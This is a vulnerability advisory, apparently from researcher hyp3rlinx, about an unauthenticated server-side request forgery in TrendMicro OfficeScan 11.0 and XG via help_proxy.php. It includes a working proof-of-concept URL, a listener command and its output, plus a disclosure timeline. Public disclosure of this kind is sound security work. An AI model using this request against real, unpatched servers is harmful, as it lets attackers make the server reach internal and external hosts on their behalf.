TrendMicro OfficeScan versions 11.0 and XG (12.0) suffer from a server-side request forgery vulnerability.
8901d1a59098b64db630f74a93bc18c2[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/TRENDMICRO-OFFICESCAN-XG-SERVER-SIDE-REQUEST-FORGERY.txt
[+] ISR: ApparitionSec
Vendor:
==================
www.trendmicro.com
Product:
===========
OfficeScan
v11.0 and XG (12.0)*
OfficeScan protects enterprise networks from malware, network viruses, web-based threats, spyware, and mixed threat attacks.
An integrated solution, OfficeScan consists of the OfficeScan agent program that resides at the endpoint and a server program that
manages all agents. The OfficeScan agent guards the endpoint and reports its security status to the server. The server, through the
web-based management console, makes it easy to set coordinated security policies and deploy updates to every agent.
Vulnerability Type:
===================
Unautherized Server Side Request Forgery
CVE Reference:
==============
N/A
Security Issue:
================
Unauthorized LAN attackers that can reach the OfficeScan XG application can make arbitrary HTTP requests to external and internal servers.
Abusing a Server Side Request Forgery flaw in the "help_Proxy.php" functionality.
Exploit/POC:
=============
https://VICTIM-IP:4343/officescan/console/html/Widget/help_proxy.php?url=http://<REQUESTED-IP>:8080
python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
<REQUESTED-IP> - - [31/May/2017 12:21:41] "GET / HTTP/1.1" 200 -
help_proxy.php HTTP response:
{"request_url":"http:\/\/<REQUESTED-IP>:8080","http_code":200,"flag":1}
Network Access:
===============
Remote
Severity:
=========
Medium
Disclosure Timeline:
=============================
Vendor Notification: May 31, 2017
Vendor reply: "We confirmed that this is a valid vulnerability. We are now working on a hotfix to remediate the issue." : June 30, 2017
Vendor releases fixes / advisory : September 27, 2017
September 28, 2017 : Public Disclosure
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hyp3rlinx